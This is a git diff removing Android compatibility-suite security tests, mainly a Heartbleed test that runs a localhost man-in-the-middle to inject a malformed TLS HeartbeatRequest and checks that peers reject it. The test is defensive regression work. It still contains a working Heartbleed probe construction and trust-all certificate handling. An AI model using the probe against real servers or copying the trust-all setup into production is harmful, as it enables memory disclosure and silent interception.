- return "alert";
- case TlsProtocols.APPLICATION_DATA:
- return "application data";
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- return "change cipher spec";
- case TlsProtocols.HANDSHAKE:
- return "handshake";
- default:
- return String.valueOf(protocol);
- }
- }
-
- private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- if (mayBeEncrypted) {
- result.append("encrypted?");
- } else {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- result.append("level: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", description: "
- + ((record.fragment.length > 1)
- ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
- break;
- case TlsProtocols.APPLICATION_DATA:
- break;
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- result.append("payload: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HANDSHAKE:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- }
- }
- result.append(", ").append("fragment length: " + record.fragment.length);
- return result.toString();
- }
-
- private synchronized void setServerListeningSocket(SSLServerSocket socket) {
- mServerListeningSocket = socket;
- }
-
- private synchronized SSLServerSocket getServerListeningSocket() {
- return mServerListeningSocket;
- }
-
- private synchronized void setServerSocket(SSLSocket socket) {
- mServerSocket = socket;
- }
-
- private synchronized SSLSocket getServerSocket() {
- return mServerSocket;
- }
-
- private synchronized void setClientSocket(SSLSocket socket) {
- mClientSocket = socket;
- }
-
- private synchronized SSLSocket getClientSocket() {
- return mClientSocket;
- }
-
- private synchronized void setMitmListeningSocket(ServerSocket socket) {
- mMitmListeningSocket = socket;
- }
-
- private synchronized ServerSocket getMitmListeningSocket() {
- return mMitmListeningSocket;
- }
-
- private synchronized void setMitmServerSocket(Socket socket) {
- mMitmServerSocket = socket;
- }
-
- private synchronized Socket getMitmServerSocket() {
- return mMitmServerSocket;
- }
-
- private synchronized void setMitmClientSocket(Socket socket) {
- mMitmClientSocket = socket;
- }
-
- private synchronized Socket getMitmClientSocket() {
- return mMitmClientSocket;
- }
-
- private synchronized void setCCSWasInjected() {
- mCCSWasInjected = true;
- }
-
- private synchronized boolean wasCCSInjected() {
- return mCCSWasInjected;
- }
-
- private synchronized void setFirstRecordReceivedAfterCCSWasInjected(
- TlsRecord record, boolean mayBeEncrypted) {
- if (mFirstRecordReceivedAfterCCSWasInjected == null) {
- mFirstRecordReceivedAfterCCSWasInjected = record;
- mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted = mayBeEncrypted;
- }
- }
-
- private synchronized TlsRecord getFirstRecordReceivedAfterCCSWasInjected() {
- return mFirstRecordReceivedAfterCCSWasInjected;
- }
-
- private synchronized boolean getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted() {
- return mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
- }
-
- private static byte[] createChangeCipherSpecRecord(int versionMajor, int versionMinor) {
- TlsRecord record = new TlsRecord();
- record.protocol = TlsProtocols.CHANGE_CIPHER_SPEC;
- record.versionMajor = versionMajor;
- record.versionMinor = versionMinor;
- record.fragment = new byte[] {1};
- return TlsRecord.unparse(record);
- }
-}
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java b/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
deleted file mode 100644
index 95a82a8..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
+++ /dev/null
@@ -1,983 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.EOFException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.Principal;
-import java.security.PrivateKey;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLException;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.X509KeyManager;
-import javax.net.ssl.X509TrustManager;
-
-/**
- * Tests for the OpenSSL Heartbleed vulnerability.
- */
-@SecurityTest
-public class OpenSSLHeartbleedTest extends InstrumentationTestCase {
-
- // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
- // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
- // and starts forwarding all TLS records between the client and the server. In tests that check
- // for the Heartbleed vulnerability, the MiTM also injects a HeartbeatRequest message into the
- // traffic.
-
- // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
- // on localhost. To ensure that these background threads are cleaned up at the end of the test
- // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
- // ServerSocket instances are available as fields of this class. These fields should be accessed
- // via setters and getters to avoid memory visibility issues due to concurrency.
-
- private static final String TAG = OpenSSLHeartbleedTest.class.getSimpleName();
-
- private SSLServerSocket mServerListeningSocket;
- private SSLSocket mServerSocket;
- private SSLSocket mClientSocket;
- private ServerSocket mMitmListeningSocket;
- private Socket mMitmServerSocket;
- private Socket mMitmClientSocket;
- private ExecutorService mExecutorService;
-
- private boolean mHeartbeatRequestWasInjected;
- private boolean mHeartbeatResponseWasDetetected;
- private int mFirstDetectedFatalAlertDescription = -1;
-
- @Override
- protected void tearDown() throws Exception {
- Log.i(TAG, "Tearing down");
- if (mExecutorService != null) {
- mExecutorService.shutdownNow();
- }
- closeQuietly(getServerListeningSocket());
- closeQuietly(getServerSocket());
- closeQuietly(getClientSocket());
- closeQuietly(getMitmListeningSocket());
- closeQuietly(getMitmServerSocket());
- closeQuietly(getMitmClientSocket());
- super.tearDown();
- Log.i(TAG, "Tear down completed");
- }
-
- /**
- * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
- * with it. This is to catch issues unrelated to TLS heartbeats.
- */
- public void testWithoutHeartbeats() throws Exception {
- handshake(false, false);
- }
-
- /**
- * Tests whether client sockets are vulnerable to Heartbleed.
- */
- public void testClientHeartbleed() throws Exception {
- checkHeartbleed(true);
- }
-
- /**
- * Tests whether server sockets are vulnerable to Heartbleed.
- */
- public void testServerHeartbleed() throws Exception {
- checkHeartbleed(false);
- }
-
- /**
- * Tests for Heartbleed.
- *
- * @param client {@code true} to test the client, {@code false} to test the server.
- */
- private void checkHeartbleed(boolean client) throws Exception {
- // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
- // server unmodified. Additionally, the MiTM transmits a malformed HeartbeatRequest to
- // server (if "client" argument is false) right after client's ClientKeyExchange or to
- // client (if "client" argument is true) right after server's ServerHello. The peer is
- // expected to either ignore the HeartbeatRequest (if heartbeats are supported) or to abort
- // the handshake with unexpected_message alert (if heartbeats are not supported).
- try {
- handshake(true, client);
- } catch (ExecutionException e) {
- assertFalse(
- "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
- + " mode",
- wasHeartbeatResponseDetected());
- if (e.getCause() instanceof SSLException) {
- // TLS handshake or data exchange failed. Check whether the error was caused by
- // fatal alert unexpected_message
- int alertDescription = getFirstDetectedFatalAlertDescription();
- if (alertDescription == -1) {
- fail("Handshake failed without a fatal alert");
- }
- assertEquals(
- "First fatal alert description received from server",
- AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE,
- alertDescription);
- return;
- } else {
- throw e;
- }
- }
-
- // TLS handshake succeeded
- assertFalse(
- "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
- + " mode",
- wasHeartbeatResponseDetected());
- assertTrue("HeartbeatRequest not injected", wasHeartbeatRequestInjected());
- }
-
- /**
- * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
- * and exchange application-level data. The MiTM injects a HeartbeatRequest message if requested
- * by {@code heartbeatRequestInjected}. The direction of the injected message is specified by
- * {@code injectedIntoClient}.
- */
- private void handshake(
- final boolean heartbeatRequestInjected,
- final boolean injectedIntoClient) throws Exception {
- mExecutorService = Executors.newFixedThreadPool(4);
- setServerListeningSocket(serverBind());
- final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "Server bound to " + serverAddress);
-
- setMitmListeningSocket(mitmBind());
- final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "MiTM bound to " + mitmAddress);
-
- // Start the MiTM daemon in the background
- mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mitmAcceptAndForward(
- serverAddress,
- heartbeatRequestInjected,
- injectedIntoClient);
- return null;
- }
- });
- // Start the server in the background
- Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- serverAcceptAndHandshake();
- return null;
- }
- });
- // Start the client in the background
- Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- clientConnectAndHandshake(mitmAddress);
- return null;
- }
- });
-
- // Wait for both client and server to terminate, to ensure that we observe all the traffic
- // exchanged between them. Throw an exception if one of them failed.
- Log.i(TAG, "Waiting for client");
- // Wait for the client, but don't yet throw an exception if it failed.
- Exception clientException = null;
- try {
- clientFuture.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- clientException = e;
- }
- Log.i(TAG, "Waiting for server");
- // Wait for the server and throw an exception if it failed.
- serverFuture.get(5, TimeUnit.SECONDS);
- // Throw an exception if the client failed.
- if (clientException != null) {
- throw clientException;
- }
- Log.i(TAG, "Handshake completed and application data exchanged");
- }
-
- private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- null,
- new TrustManager[] {new TrustAllX509TrustManager()},
- null);
- SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
- setClientSocket(socket);
- try {
- Log.i(TAG, "Client connecting to " + serverAddress);
- socket.connect(serverAddress);
- Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("client".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Client sent request. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Client read response: " + b);
- } catch (Exception e) {
- Log.w(TAG, "Client failed", e);
- throw e;
- } finally {
- socket.close();
- }
- }
-
- public SSLServerSocket serverBind() throws Exception {
- // Load the server's private key and cert chain
- KeyFactory keyFactory = KeyFactory.getInstance("RSA");
- PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
- readResource(
- getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
- CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
- X509Certificate[] certChain = new X509Certificate[] {
- (X509Certificate) certFactory.generateCertificate(
- new ByteArrayInputStream(readResource(
- getInstrumentation().getContext(),
- R.raw.openssl_heartbleed_test_cert)))
- };
-
- // Initialize TLS context to use the private key and cert chain for server sockets
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
- null,
- null);
-
- Log.i(TAG, "Server binding to local port");
- return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
- }
-
- private void serverAcceptAndHandshake() throws Exception {
- SSLSocket socket = null;
- SSLServerSocket serverSocket = getServerListeningSocket();
- try {
- Log.i(TAG, "Server listening for incoming connection");
- socket = (SSLSocket) serverSocket.accept();
- setServerSocket(socket);
- Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("server".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Server sent reply. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Server read response: " + b);
- } catch (Exception e) {
- Log.w(TAG, "Server failed", e);
- throw e;
- } finally {
- if (socket != null) {
- socket.close();
- }
- }
- }
-
- private ServerSocket mitmBind() throws Exception {
- Log.i(TAG, "MiTM binding to local port");
- return ServerSocketFactory.getDefault().createServerSocket(0);
- }
-
- /**
- * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
- * client and the server, and, if requested, injects a {@code HeartbeatRequest}.
- *
- * @param injectHeartbeat whether to inject a {@code HeartbeatRequest} message.
- * @param injectIntoClient when {@code injectHeartbeat} is {@code true}, whether to inject the
- * {@code HeartbeatRequest} message into client or into server.
- */
- private void mitmAcceptAndForward(
- SocketAddress serverAddress,
- final boolean injectHeartbeat,
- final boolean injectIntoClient) throws Exception {
- Socket clientSocket = null;
- Socket serverSocket = null;
- ServerSocket listeningSocket = getMitmListeningSocket();
- try {
- Log.i(TAG, "MiTM waiting for incoming connection");
- clientSocket = listeningSocket.accept();
- setMitmClientSocket(clientSocket);
- Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
- serverSocket = SocketFactory.getDefault().createSocket();
- setMitmServerSocket(serverSocket);
- Log.i(TAG, "MiTM connecting to server " + serverAddress);
- serverSocket.connect(serverAddress, 10000);
- Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
- final InputStream serverInputStream = serverSocket.getInputStream();
- final OutputStream clientOutputStream = clientSocket.getOutputStream();
- Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- // Inject HeatbeatRequest after ServerHello, if requested
- forwardTlsRecords(
- "MiTM S->C",
- serverInputStream,
- clientOutputStream,
- (injectHeartbeat && injectIntoClient)
- ? HandshakeMessage.TYPE_SERVER_HELLO : -1);
- return null;
- }
- });
- // Inject HeatbeatRequest after ClientKeyExchange, if requested
- forwardTlsRecords(
- "MiTM C->S",
- clientSocket.getInputStream(),
- serverSocket.getOutputStream(),
- (injectHeartbeat && !injectIntoClient)
- ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
- serverToClientTask.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- Log.w(TAG, "MiTM failed", e);
- throw e;
- } finally {
- closeQuietly(clientSocket);
- closeQuietly(serverSocket);
- }
- }
-
- /**
- * Forwards TLS records from the provided {@code InputStream} to the provided
- * {@code OutputStream}. If requested, injects a {@code HeartbeatMessage}.
- */
- private void forwardTlsRecords(
- String logPrefix,
- InputStream in,
- OutputStream out,
- int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws Exception {
- Log.i(TAG, logPrefix + ": record forwarding started");
- boolean interestingRecordsLogged =
- handshakeMessageTypeAfterWhichToInjectHeartbeatRequest == -1;
- try {
- TlsRecordReader reader = new TlsRecordReader(in);
- byte[] recordBytes;
- // Fragments contained in records may be encrypted after a certain point in the
- // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
- boolean fragmentEncryptionMayBeEnabled = false;
- while ((recordBytes = reader.readRecord()) != null) {
- TlsRecord record = TlsRecord.parse(recordBytes);
- forwardTlsRecord(logPrefix,
- recordBytes,
- record,
- fragmentEncryptionMayBeEnabled,
- out,
- interestingRecordsLogged,
- handshakeMessageTypeAfterWhichToInjectHeartbeatRequest);
- if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
- fragmentEncryptionMayBeEnabled = true;
- }
- }
- } catch (Exception e) {
- Log.w(TAG, logPrefix + ": failed", e);
- throw e;
- } finally {
- Log.d(TAG, logPrefix + ": record forwarding finished");
- }
- }
-
- private void forwardTlsRecord(
- String logPrefix,
- byte[] recordBytes,
- TlsRecord record,
- boolean fragmentEncryptionMayBeEnabled,
- OutputStream out,
- boolean interestingRecordsLogged,
- int handshakeMessageTypeAfterWhichToInjectHeartbeatRequest) throws IOException {
- // Save information about the records if its of interest to this test
- if (interestingRecordsLogged) {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- if (!fragmentEncryptionMayBeEnabled) {
- AlertMessage alert = AlertMessage.tryParse(record);
- if ((alert != null) && (alert.level == AlertMessage.LEVEL_FATAL)) {
- setFatalAlertDetected(alert.description);
- }
- }
- break;
- case TlsProtocols.HEARTBEAT:
- // When TLS records are encrypted, we cannot determine whether a
- // heartbeat is a HeartbeatResponse. In our setup, the client and the
- // server are not expected to sent HeartbeatRequests. Thus, we err on
- // the side of caution and assume that any heartbeat message sent by
- // client or server is a HeartbeatResponse.
- Log.e(TAG, logPrefix
- + ": heartbeat response detected -- vulnerable to Heartbleed");
- setHeartbeatResponseWasDetected();
- break;
- }
- }
-
- Log.i(TAG, logPrefix + ": Forwarding TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- out.write(recordBytes);
- out.flush();
-
- // Inject HeartbeatRequest, if necessary, after the specified handshake message type
- if (handshakeMessageTypeAfterWhichToInjectHeartbeatRequest != -1) {
- if ((!fragmentEncryptionMayBeEnabled) && (isHandshakeMessageType(
- record, handshakeMessageTypeAfterWhichToInjectHeartbeatRequest))) {
- // The Heartbeat Request message below is malformed because its declared
- // length of payload one byte larger than the actual payload. The peer is
- // supposed to reject such messages.
- byte[] payload = "arbitrary".getBytes("US-ASCII");
- byte[] heartbeatRequestRecordBytes = createHeartbeatRequestRecord(
- record.versionMajor,
- record.versionMinor,
- payload.length + 1,
- payload);
- Log.i(TAG, logPrefix + ": Injecting malformed HeartbeatRequest: "
- + getRecordInfo(
- TlsRecord.parse(heartbeatRequestRecordBytes), false));
- setHeartbeatRequestWasInjected();
- out.write(heartbeatRequestRecordBytes);
- out.flush();
- }
- }
- }
-
- private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- result.append(getProtocolName(record.protocol))
- .append(", ")
- .append(getFragmentInfo(record, mayBeEncrypted));
- return result.toString();
- }
-
- private static String getProtocolName(int protocol) {
- switch (protocol) {
- case TlsProtocols.ALERT:
- return "alert";
- case TlsProtocols.APPLICATION_DATA:
- return "application data";
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- return "change cipher spec";
- case TlsProtocols.HANDSHAKE:
- return "handshake";
- case TlsProtocols.HEARTBEAT:
- return "heatbeat";
- default:
- return String.valueOf(protocol);
- }
- }
-
- private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- if (mayBeEncrypted) {
- result.append("encrypted?");
- } else {
- switch (record.protocol) {
- case TlsProtocols.ALERT:
- result.append("level: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", description: "
- + ((record.fragment.length > 1)
- ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
- break;
- case TlsProtocols.APPLICATION_DATA:
- break;
- case TlsProtocols.CHANGE_CIPHER_SPEC:
- result.append("payload: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HANDSHAKE:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
- break;
- case TlsProtocols.HEARTBEAT:
- result.append("type: " + ((record.fragment.length > 0)
- ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
- + ", payload length: "
- + ((record.fragment.length >= 3)
- ? String.valueOf(
- getUnsignedShortBigEndian(record.fragment, 1))
- : "n/a"));
- break;
- }
- }
- result.append(", ").append("fragment length: " + record.fragment.length);
- return result.toString();
- }
-
- private synchronized void setServerListeningSocket(SSLServerSocket socket) {
- mServerListeningSocket = socket;
- }
-
- private synchronized SSLServerSocket getServerListeningSocket() {
- return mServerListeningSocket;
- }
-
- private synchronized void setServerSocket(SSLSocket socket) {
- mServerSocket = socket;
- }
-
- private synchronized SSLSocket getServerSocket() {
- return mServerSocket;
- }
-
- private synchronized void setClientSocket(SSLSocket socket) {
- mClientSocket = socket;
- }
-
- private synchronized SSLSocket getClientSocket() {
- return mClientSocket;
- }
-
- private synchronized void setMitmListeningSocket(ServerSocket socket) {
- mMitmListeningSocket = socket;
- }
-
- private synchronized ServerSocket getMitmListeningSocket() {
- return mMitmListeningSocket;
- }
-
- private synchronized void setMitmServerSocket(Socket socket) {
- mMitmServerSocket = socket;
- }
-
- private synchronized Socket getMitmServerSocket() {
- return mMitmServerSocket;
- }
-
- private synchronized void setMitmClientSocket(Socket socket) {
- mMitmClientSocket = socket;
- }
-
- private synchronized Socket getMitmClientSocket() {
- return mMitmClientSocket;
- }
-
- private synchronized void setHeartbeatRequestWasInjected() {
- mHeartbeatRequestWasInjected = true;
- }
-
- private synchronized boolean wasHeartbeatRequestInjected() {
- return mHeartbeatRequestWasInjected;
- }
-
- private synchronized void setHeartbeatResponseWasDetected() {
- mHeartbeatResponseWasDetetected = true;
- }
-
- private synchronized boolean wasHeartbeatResponseDetected() {
- return mHeartbeatResponseWasDetetected;
- }
-
- private synchronized void setFatalAlertDetected(int description) {
- if (mFirstDetectedFatalAlertDescription == -1) {
- mFirstDetectedFatalAlertDescription = description;
- }
- }
-
- private synchronized int getFirstDetectedFatalAlertDescription() {
- return mFirstDetectedFatalAlertDescription;
- }
-
- public static abstract class TlsProtocols {
- public static final int CHANGE_CIPHER_SPEC = 20;
- public static final int ALERT = 21;
- public static final int HANDSHAKE = 22;
- public static final int APPLICATION_DATA = 23;
- public static final int HEARTBEAT = 24;
- private TlsProtocols() {}
- }
-
- public static class TlsRecord {
- public int protocol;
- public int versionMajor;
- public int versionMinor;
- public byte[] fragment;
-
- public static TlsRecord parse(byte[] record) throws IOException {
- TlsRecord result = new TlsRecord();
- if (record.length < TlsRecordReader.RECORD_HEADER_LENGTH) {
- throw new IOException("Record too short: " + record.length);
- }
- result.protocol = record[0] & 0xff;
- result.versionMajor = record[1] & 0xff;
- result.versionMinor = record[2] & 0xff;
- int fragmentLength = getUnsignedShortBigEndian(record, 3);
- int actualFragmentLength = record.length - TlsRecordReader.RECORD_HEADER_LENGTH;
- if (fragmentLength != actualFragmentLength) {
- throw new IOException("Fragment length mismatch. Expected: " + fragmentLength
- + ", actual: " + actualFragmentLength);
- }
- result.fragment = new byte[fragmentLength];
- System.arraycopy(
- record, TlsRecordReader.RECORD_HEADER_LENGTH,
- result.fragment, 0,
- fragmentLength);
- return result;
- }
-
- public static byte[] unparse(TlsRecord record) {
- byte[] result = new byte[TlsRecordReader.RECORD_HEADER_LENGTH + record.fragment.length];
- result[0] = (byte) record.protocol;
- result[1] = (byte) record.versionMajor;
- result[2] = (byte) record.versionMinor;
- putUnsignedShortBigEndian(result, 3, record.fragment.length);
- System.arraycopy(
- record.fragment, 0,
- result, TlsRecordReader.RECORD_HEADER_LENGTH,
- record.fragment.length);
- return result;
- }
- }
-
- public static final boolean isHandshakeMessageType(TlsRecord record, int type) {
- HandshakeMessage handshake = HandshakeMessage.tryParse(record);
- if (handshake == null) {
- return false;
- }
- return handshake.type == type;
- }
-
- public static class HandshakeMessage {
- public static final int TYPE_SERVER_HELLO = 2;
- public static final int TYPE_CERTIFICATE = 11;
- public static final int TYPE_CLIENT_KEY_EXCHANGE = 16;
-
- public int type;
-
- /**
- * Parses the provided TLS record as a handshake message.
- *
- * @return alert message or {@code null} if the record does not contain a handshake message.
- */
- public static HandshakeMessage tryParse(TlsRecord record) {
- if (record.protocol != TlsProtocols.HANDSHAKE) {
- return null;
- }
- if (record.fragment.length < 1) {
- return null;
- }
- HandshakeMessage result = new HandshakeMessage();
- result.type = record.fragment[0] & 0xff;
- return result;
- }
- }
-
- public static class AlertMessage {
- public static final int LEVEL_FATAL = 2;
- public static final int DESCRIPTION_UNEXPECTED_MESSAGE = 10;
-
- public int level;
- public int description;
-
- /**
- * Parses the provided TLS record as an alert message.
- *
- * @return alert message or {@code null} if the record does not contain an alert message.
- */
- public static AlertMessage tryParse(TlsRecord record) {
- if (record.protocol != TlsProtocols.ALERT) {
- return null;
- }
- if (record.fragment.length < 2) {
- return null;
- }
- AlertMessage result = new AlertMessage();
- result.level = record.fragment[0] & 0xff;
- result.description = record.fragment[1] & 0xff;
- return result;
- }
- }
-
- private static abstract class HeartbeatProtocol {
- private HeartbeatProtocol() {}
-
- private static final int MESSAGE_TYPE_REQUEST = 1;
- @SuppressWarnings("unused")
- private static final int MESSAGE_TYPE_RESPONSE = 2;
-
- private static final int MESSAGE_HEADER_LENGTH = 3;
- private static final int MESSAGE_PADDING_LENGTH = 16;
- }
-
- private static byte[] createHeartbeatRequestRecord(
- int versionMajor, int versionMinor,
- int declaredPayloadLength, byte[] payload) {
-
- byte[] fragment = new byte[HeartbeatProtocol.MESSAGE_HEADER_LENGTH
- + payload.length + HeartbeatProtocol.MESSAGE_PADDING_LENGTH];
- fragment[0] = HeartbeatProtocol.MESSAGE_TYPE_REQUEST;
- putUnsignedShortBigEndian(fragment, 1, declaredPayloadLength); // payload_length
- TlsRecord record = new TlsRecord();
- record.protocol = TlsProtocols.HEARTBEAT;
- record.versionMajor = versionMajor;
- record.versionMinor = versionMinor;
- record.fragment = fragment;
- return TlsRecord.unparse(record);
- }
-
- /**
- * Reader of TLS records.
- */
- public static class TlsRecordReader {
- private static final int MAX_RECORD_LENGTH = 16384;
- public static final int RECORD_HEADER_LENGTH = 5;
-
- private final InputStream in;
- private final byte[] buffer;
- private int firstBufferedByteOffset;
- private int bufferedByteCount;
-
- public TlsRecordReader(InputStream in) {
- this.in = in;
- buffer = new byte[MAX_RECORD_LENGTH];
- }
-
- /**
- * Reads the next TLS record.
- *
- * @return TLS record or {@code null} if EOF was encountered before any bytes of a record
- * could be read.
- */
- public byte[] readRecord() throws IOException {
- // Ensure that a TLS record header (or more) is in the buffer.
- if (bufferedByteCount < RECORD_HEADER_LENGTH) {
- boolean eofPermittedInstead = (bufferedByteCount == 0);
- boolean eofEncounteredInstead =
- !readAtLeast(RECORD_HEADER_LENGTH, eofPermittedInstead);
- if (eofEncounteredInstead) {
- // End of stream reached exactly before a TLS record start.
- return null;
- }
- }
-
- // TLS record header (or more) is in the buffer.
- // Ensure that the rest of the record is in the buffer.
- int fragmentLength = getUnsignedShortBigEndian(buffer, firstBufferedByteOffset + 3);
- int recordLength = RECORD_HEADER_LENGTH + fragmentLength;
- if (recordLength > MAX_RECORD_LENGTH) {
- throw new IOException("TLS record too long: " + recordLength);
- }
- if (bufferedByteCount < recordLength) {
- readAtLeast(recordLength - bufferedByteCount, false);
- }
-
- // TLS record (or more) is in the buffer.
- byte[] record = new byte[recordLength];
- System.arraycopy(buffer, firstBufferedByteOffset, record, 0, recordLength);
- firstBufferedByteOffset += recordLength;
- bufferedByteCount -= recordLength;
- return record;
- }
-
- /**
- * Reads at least the specified number of bytes from the underlying {@code InputStream} into
- * the {@code buffer}.
- *
- * <p>Bytes buffered but not yet returned to the client in the {@code buffer} are relocated
- * to the start of the buffer to make space if necessary.
- *
- * @param eofPermittedInstead {@code true} if it's permitted for an EOF to be encountered
- * without any bytes having been read.
- *
- * @return {@code true} if the requested number of bytes (or more) has been read,
- * {@code false} if {@code eofPermittedInstead} was {@code true} and EOF was
- * encountered when no bytes have yet been read.
- */
- private boolean readAtLeast(int size, boolean eofPermittedInstead) throws IOException {
- ensureRemainingBufferCapacityAtLeast(size);
- boolean firstAttempt = true;
- while (size > 0) {
- int chunkSize = in.read(
- buffer,
- firstBufferedByteOffset + bufferedByteCount,
- buffer.length - (firstBufferedByteOffset + bufferedByteCount));
- if (chunkSize == -1) {
- if ((firstAttempt) && (eofPermittedInstead)) {
- return false;
- } else {
- throw new EOFException("Premature EOF");
- }
- }
- firstAttempt = false;
- bufferedByteCount += chunkSize;
- size -= chunkSize;
- }
- return true;
- }
-
- /**
- * Ensures that there is enough capacity in the buffer to store the specified number of
- * bytes at the {@code firstBufferedByteOffset + bufferedByteCount} offset.
- */
- private void ensureRemainingBufferCapacityAtLeast(int size) throws IOException {
- int bufferCapacityRemaining =
- buffer.length - (firstBufferedByteOffset + bufferedByteCount);
- if (bufferCapacityRemaining >= size) {
- return;
- }
- // Insufficient capacity at the end of the buffer.
- if (firstBufferedByteOffset > 0) {
- // Some of the bytes at the start of the buffer have already been returned to the
- // client of this reader. Check if moving the remaining buffered bytes to the start
- // of the buffer will make enough space at the end of the buffer.
- bufferCapacityRemaining += firstBufferedByteOffset;
- if (bufferCapacityRemaining >= size) {
- System.arraycopy(buffer, firstBufferedByteOffset, buffer, 0, bufferedByteCount);
- firstBufferedByteOffset = 0;
- return;
- }
- }
-
- throw new IOException("Insuffucient remaining capacity in the buffer. Requested: "
- + size + ", remaining: " + bufferCapacityRemaining);
- }
- }
-
- private static int getUnsignedShortBigEndian(byte[] buf, int offset) {
- return ((buf[offset] & 0xff) << 8) | (buf[offset + 1] & 0xff);
- }
-
